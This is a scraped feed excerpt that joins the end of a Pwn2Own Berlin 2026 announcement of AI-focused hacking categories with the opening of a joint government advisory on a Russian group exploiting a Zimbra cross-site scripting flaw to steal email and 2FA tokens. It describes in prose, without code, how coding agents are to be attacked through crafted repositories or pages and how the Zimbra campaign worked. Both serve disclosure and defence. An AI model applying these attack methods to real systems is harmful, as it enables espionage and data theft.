                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/077616af-de47-4235-a621-a8bf07c8295e/nvidia3.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png" data-image-dimensions="3000x2000" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w" width="3000" height="2000" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f5332a6b-e3d2-42e1-bb98-4e9c9de46536/Amazon_Web_Services-Logo.wine.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  





  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
